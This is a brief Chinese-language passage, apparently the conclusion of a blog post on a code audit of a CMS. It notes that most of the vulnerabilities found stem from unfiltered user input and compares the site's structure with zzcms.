该CMS存在大多的问题都是由于未对用户提交的参数进行过滤处理,导致一系列的漏洞发生,本次审计漏洞难度较简单,网站结构相对于zzcms较为复杂,还需要多加实践增加审计的经验

]]>
代码审计